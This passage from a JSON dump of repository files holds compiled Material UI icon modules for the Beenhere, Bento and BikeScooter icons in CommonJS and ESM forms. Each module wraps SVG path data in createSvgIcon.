    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 1H5c-1.1 0-1.99.9-1.99 2L3 15.93c0 .69.35 1.3.88 1.66L12 23l8.11-5.41c.53-.36.88-.97.88-1.66L21 3c0-1.1-.9-2-2-2m-7 19.6-7-4.66V3h14v12.93zm-2.01-7.42-2.58-2.59L6 12l4 4 8-8-1.42-1.42z\"\n}), 'BeenhereOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BeenhereRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 1H5c-1.1 0-1.99.9-1.99 2L3 15.93c0 .69.35 1.3.88 1.66l7.57 5.04c.34.22.77.22 1.11 0l7.56-5.04c.53-.36.88-.97.88-1.66V3c0-1.1-.9-2-2-2m-.7 6.7-7.59 7.59c-.39.39-1.02.39-1.41 0L5.71 11.7c-.39-.39-.39-1.02 0-1.41s1.02-.39 1.41 0L10 13.17l6.88-6.88c.39-.39 1.02-.39 1.41 0s.4 1.02.01 1.41\"\n}), 'BeenhereRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BeenhereRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 1H5c-1.1 0-1.99.9-1.99 2L3 15.93c0 .69.35 1.3.88 1.66l7.57 5.04c.34.22.77.22 1.11 0l7.56-5.04c.53-.36.88-.97.88-1.66V3c0-1.1-.9-2-2-2m-.7 6.7-7.59 7.59c-.39.39-1.02.39-1.41 0L5.71 11.7c-.39-.39-.39-1.02 0-1.41s1.02-.39 1.41 0L10 13.17l6.88-6.88c.39-.39 1.02-.39 1.41 0s.4 1.02.01 1.41\"\n}), 'BeenhereRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BeenhereSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3.01 1 3 17l9 6 8.99-6L21 1zM10 16l-5-5 1.41-1.42L10 13.17l7.59-7.59L19 7z\"\n}), 'BeenhereSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BeenhereSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3.01 1 3 17l9 6 8.99-6L21 1zM10 16l-5-5 1.41-1.42L10 13.17l7.59-7.59L19 7z\"\n}), 'BeenhereSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BeenhereTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5v12.93l7 4.66 7-4.67zm-9 13-4-4 1.41-1.41 2.58 2.58 6.59-6.59L18 8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 1H5c-1.1 0-1.99.9-1.99 2L3 15.93c0 .69.35 1.3.88 1.66L12 23l8.11-5.41c.53-.36.88-.97.88-1.66L21 3c0-1.1-.9-2-2-2m-7 19.6-7-4.66V3h14v12.93zm-2.01-7.42-2.58-2.59L6 12l4 4 8-8-1.42-1.42z\"\n}, \"1\")], 'BeenhereTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BeenhereTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5v12.93l7 4.66 7-4.67zm-9 13-4-4 1.41-1.41 2.58 2.58 6.59-6.59L18 8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 1H5c-1.1 0-1.99.9-1.99 2L3 15.93c0 .69.35 1.3.88 1.66L12 23l8.11-5.41c.53-.36.88-.97.88-1.66L21 3c0-1.1-.9-2-2-2m-7 19.6-7-4.66V3h14v12.93zm-2.01-7.42-2.58-2.59L6 12l4 4 8-8-1.42-1.42z\"\n}, \"1\")], 'BeenhereTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Bento.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 11V5h4c1.1 0 2 .9 2 2v4zm4 8c1.1 0 2-.9 2-2v-4h-6v6zM14 5v14H4c-1.1 0-2-.9-2-2V7c0-1.1.9-2 2-2zm-4.5 7c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5.67 1.5 1.5 1.5 1.5-.67 1.5-1.5\"\n}), 'Bento');"
  },
  {
    "path": "packages/mui-icons-material/lib/Bento.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 11V5h4c1.1 0 2 .9 2 2v4zm4 8c1.1 0 2-.9 2-2v-4h-6v6zM14 5v14H4c-1.1 0-2-.9-2-2V7c0-1.1.9-2 2-2zm-4.5 7c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5.67 1.5 1.5 1.5 1.5-.67 1.5-1.5\"\n}), 'Bento');"
  },
  {
    "path": "packages/mui-icons-material/lib/BentoOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 5H4c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2m0 6h-6V7h6zM4 7h8v10H4zm10 10v-4h6v4zm-4.5-5c0 .83-.67 1.5-1.5 1.5s-1.5-.67-1.5-1.5.67-1.5 1.5-1.5 1.5.67 1.5 1.5\"\n}), 'BentoOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BentoOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 5H4c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2m0 6h-6V7h6zM4 7h8v10H4zm10 10v-4h6v4zm-4.5-5c0 .83-.67 1.5-1.5 1.5s-1.5-.67-1.5-1.5.67-1.5 1.5-1.5 1.5.67 1.5 1.5\"\n}), 'BentoOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BentoRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 11V5h4c1.1 0 2 .9 2 2v4zm4 8c1.1 0 2-.9 2-2v-4h-6v6zM14 5v14H4c-1.1 0-2-.9-2-2V7c0-1.1.9-2 2-2zm-4.5 7c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5.67 1.5 1.5 1.5 1.5-.67 1.5-1.5\"\n}), 'BentoRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BentoRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 11V5h4c1.1 0 2 .9 2 2v4zm4 8c1.1 0 2-.9 2-2v-4h-6v6zM14 5v14H4c-1.1 0-2-.9-2-2V7c0-1.1.9-2 2-2zm-4.5 7c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5.67 1.5 1.5 1.5 1.5-.67 1.5-1.5\"\n}), 'BentoRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BentoSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 11V5h6v6zm0 8h6v-6h-6zM14 5v14H2V5zm-4.5 7c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5.67 1.5 1.5 1.5 1.5-.67 1.5-1.5\"\n}), 'BentoSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BentoSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 11V5h6v6zm0 8h6v-6h-6zM14 5v14H2V5zm-4.5 7c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5.67 1.5 1.5 1.5 1.5-.67 1.5-1.5\"\n}), 'BentoSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BentoTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 17h8V7H4zm4-6.5c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5-1.5-.67-1.5-1.5.67-1.5 1.5-1.5m6 2.5h6v4h-6zm6-6v4h-6V7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 5H4c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2m0 6h-6V7h6zM4 7h8v10H4zm10 10v-4h6v4zm-4.5-5c0 .83-.67 1.5-1.5 1.5s-1.5-.67-1.5-1.5.67-1.5 1.5-1.5 1.5.67 1.5 1.5\"\n}, \"1\")], 'BentoTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BentoTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 17h8V7H4zm4-6.5c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5-1.5-.67-1.5-1.5.67-1.5 1.5-1.5m6 2.5h6v4h-6zm6-6v4h-6V7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 5H4c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2m0 6h-6V7h6zM4 7h8v10H4zm10 10v-4h6v4zm-4.5-5c0 .83-.67 1.5-1.5 1.5s-1.5-.67-1.5-1.5.67-1.5 1.5-1.5 1.5.67 1.5 1.5\"\n}, \"1\")], 'BentoTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BikeScooter.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 14h.74L8.82 5.56C8.61 4.65 7.8 4 6.87 4H3v2h3.87l1.42 6.25h-.01c-2.16.65-3.81 2.48-4.19 4.75H0v2h6v-1c0-2.21 1.79-4 4-4m9-6h-.82l-1.35-3.69C16.55 3.52 15.8 3 14.96 3H11v2h3.96l1.1 3H10.4l.46 2H15c-.43.58-.75 1.25-.9 2h-2.79l.46 2h2.33c.44 2.23 2.31 3.88 4.65 3.99 2.8.13 5.25-2.19 5.25-5C24 10.2 21.8 8 19 8m0 8c-1.68 0-3-1.32-3-3 0-.93.41-1.73 1.05-2.28l.96 2.64 1.88-.68-.97-2.67c.03 0 .06-.01.09-.01 1.68 0 3 1.32 3 3s-1.33 3-3.01 3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 15c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3m0 4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"1\")], 'BikeScooter');"
  },
  {
    "path": "packages/mui-icons-material/lib/BikeScooter.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 14h.74L8.82 5.56C8.61 4.65 7.8 4 6.87 4H3v2h3.87l1.42 6.25h-.01c-2.16.65-3.81 2.48-4.19 4.75H0v2h6v-1c0-2.21 1.79-4 4-4m9-6h-.82l-1.35-3.69C16.55 3.52 15.8 3 14.96 3H11v2h3.96l1.1 3H10.4l.46 2H15c-.43.58-.75 1.25-.9 2h-2.79l.46 2h2.33c.44 2.23 2.31 3.88 4.65 3.99 2.8.13 5.25-2.19 5.25-5C24 10.2 21.8 8 19 8m0 8c-1.68 0-3-1.32-3-3 0-.93.41-1.73 1.05-2.28l.96 2.64 1.88-.68-.97-2.67c.03 0 .06-.01.09-.01 1.68 0 3 1.32 3 3s-1.33 3-3.01 3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 15c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3m0 4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"1\")], 'BikeScooter');"
  },
  {
    "path": "packages/mui-icons-material/lib/BikeScooterOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 14h.74L8.82 5.56C8.61 4.65 7.8 4 6.87 4H3v2h3.87l1.42 6.25h-.01c-2.16.65-3.81 2.48-4.19 4.75H0v2h6v-1c0-2.21 1.79-4 4-4m9-6h-.82l-1.35-3.69C16.55 3.52 15.8 3 14.96 3H11v2h3.96l1.1 3H10.4l.46 2H15c-.43.58-.75 1.25-.9 2h-2.79l.46 2h2.33c.44 2.23 2.31 3.88 4.65 3.99 2.8.13 5.25-2.19 5.25-5C24 10.2 21.8 8 19 8m0 8c-1.68 0-3-1.32-3-3 0-.93.41-1.73 1.05-2.28l.96 2.64 1.88-.68-.97-2.67c.03 0 .06-.01.09-.01 1.68 0 3 1.32 3 3s-1.33 3-3.01 3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 15c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3m0 4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"1\")], 'BikeScooterOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BikeScooterOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 14h.74L8.82 5.56C8.61 4.65 7.8 4 6.87 4H3v2h3.87l1.42 6.25h-.01c-2.16.65-3.81 2.48-4.19 4.75H0v2h6v-1c0-2.21 1.79-4 4-4m9-6h-.82l-1.35-3.69C16.55 3.52 15.8 3 14.96 3H11v2h3.96l1.1 3H10.4l.46 2H15c-.43.58-.75 1.25-.9 2h-2.79l.46 2h2.33c.44 2.23 2.31 3.88 4.65 3.99 2.8.13 5.25-2.19 5.25-5C24 10.2 21.8 8 19 8m0 8c-1.68 0-3-1.32-3-3 0-.93.41-1.73 1.05-2.28l.96 2.64 1.88-.68-.97-2.67c.03 0 .06-.01.09-.01 1.68 0 3 1.32 3 3s-1.33 3-3.01 3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 15c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3m0 4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"1\")], 'BikeScooterOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BikeScooterRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 14h.74L8.82 5.56C8.61 4.65 7.8 4 6.87 4H4c-.55 0-1 .45-1 1s.45 1 1 1h2.87l1.42 6.25h-.01c-2.16.65-3.81 2.48-4.19 4.75H0v2h6v-1c0-2.21 1.79-4 4-4m8.75-6h-.56l-1.35-3.69C16.55 3.52 15.8 3 14.96 3H12c-.55 0-1 .45-1 1s.45 1 1 1h2.96l1.1 3H10.4l.46 2H15c-.43.58-.75 1.25-.9 2h-2.79l.46 2h2.33c.44 2.23 2.31 3.88 4.65 3.99 3.16.15 5.88-2.83 5.12-6.1C23.34 9.57 21.13 8 18.75 8m.13 8c-1.54-.06-2.84-1.37-2.88-2.92-.02-.96.39-1.8 1.05-2.36l.62 1.7c.19.52.76.79 1.28.6s.79-.76.6-1.28l-.63-1.73.01-.01c1.71-.04 3.07 1.29 3.07 3 0 1.72-1.38 3.06-3.12 3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 15c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3m0 4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"1\")], 'BikeScooterRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BikeScooterRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 14h.74L8.82 5.56C8.61 4.65 7.8 4 6.87 4H4c-.55 0-1 .45-1 1s.45 1 1 1h2.87l1.42 6.25h-.01c-2.16.65-3.81 2.48-4.19 4.75H0v2h6v-1c0-2.21 1.79-4 4-4m8.75-6h-.56l-1.35-3.69C16.55 3.52 15.8 3 14.96 3H12c-.55 0-1 .45-1 1s.45 1 1 1h2.96l1.1 3H10.4l.46 2H15c-.43.58-.75 1.25-.9 2h-2.79l.46 2h2.33c.44 2.23 2.31 3.88 4.65 3.99 3.16.15 5.88-2.83 5.12-6.1C23.34 9.57 21.13 8 18.75 8m.13 8c-1.54-.06-2.84-1.37-2.88-2.92-.02-.96.39-1.8 1.05-2.36l.62 1.7c.19.52.76.79 1.28.6s.79-.76.6-1.28l-.63-1.73.01-.01c1.71-.04 3.07 1.29 3.07 3 0 1.72-1.38 3.06-3.12 3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 15c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3m0 4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"1\")], 'BikeScooterRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BikeScooterSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 14h.74L8.47 4H3v2h3.87l1.42 6.25h-.01c-2.16.65-3.81 2.48-4.19 4.75H0v2h6v-1c0-2.21 1.79-4 4-4m8.18-6-1.83-5H11v2h3.96l1.1 3H10.4l.46 2H15c-.43.58-.75 1.25-.9 2h-2.79l.46 2h2.33c.44 2.23 2.31 3.88 4.65 3.99 2.8.13 5.25-2.19 5.25-5 0-2.8-2.2-5-5-5h-.82zm.82 8c-1.68 0-3-1.32-3-3 0-.93.41-1.73 1.05-2.28l.96 2.64 1.88-.68-.97-2.67c.03 0 .06-.01.09-.01 1.68 0 3 1.32 3 3s-1.33 3-3.01 3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 15c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3m0 4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"1\")], 'BikeScooterSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BikeScooterSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 14h.74L8.47 4H3v2h3.87l1.42 6.25h-.01c-2.16.65-3.81 2.48-4.19 4.75H0v2h6v-1c0-2.21 1.79-4 4-4m8.18-6-1.83-5H11v2h3.96l1.1 3H10.4l.46 2H15c-.43.58-.75 1.25-.9 2h-2.79l.46 2h2.33c.44 2.23 2.31 3.88 4.65 3.99 2.8.13 5.25-2.19 5.25-5 0-2.8-2.2-5-5-5h-.82zm.82 8c-1.68 0-3-1.32-3-3 0-.93.41-1.73 1.05-2.28l.96 2.64 1.88-.68-.97-2.67c.03 0 .06-.01.09-.01 1.68 0 3 1.32 3 3s-1.33 3-3.01 3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 15c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3m0 4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"1\")], 'BikeScooterSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BikeScooterTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 14h.74L8.82 5.56C8.61 4.65 7.8 4 6.87 4H3v2h3.87l1.42 6.25h-.01c-2.16.65-3.81 2.48-4.19 4.75H0v2h6v-1c0-2.21 1.79-4 4-4m9-6h-.82l-1.35-3.69C16.55 3.52 15.8 3 14.96 3H11v2h3.96l1.1 3H10.4l.46 2H15c-.43.58-.75 1.25-.9 2h-2.79l.46 2h2.33c.44 2.23 2.31 3.88 4.65 3.99 2.8.13 5.25-2.19 5.25-5C24 10.2 21.8 8 19 8m0 8c-1.68 0-3-1.32-3-3 0-.93.41-1.73 1.05-2.28l.96 2.64 1.88-.68-.97-2.67c.03 0 .06-.01.09-.01 1.68 0 3 1.32 3 3s-1.33 3-3.01 3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 15c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3m0 4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"1\")], 'BikeScooterTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BikeScooterTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 14h.74L8.82 5.56C8.61 4.65 7.8 4 6.87 4H3v2h3.87l1.42 6.25h-.01c-2.16.65-3.81 2.48-4.19 4.75H0v2h6v-1c0-2.21 1.79-4 4-4m9-6h-.82l-1.35-3.69C16.55 3.52 15.8 3 14.96 3H11v2h3.96l1.1 3H10.4l.46 2H15c-.43.58-.75 1.25-.9 2h-2.79l.46 2h2.33c.44 2.23 2.31 3.88 4.65 3.99 2.8.13 5.25-2.19 5.25-5C24 10.2 21.8 8 19 8m0 8c-1.68 0-3-1.32-3-3 0-.93.41-1.73 1.05-2.28l.96 2.64 1.88-.68-.97-2.67c.03 0 .06-.01.09-.01 1.68 0 3 1.32 3 3s-1.33 3-3.01 3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 15c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3m0 4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"1\")], 'BikeScooterTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Biotech.js",
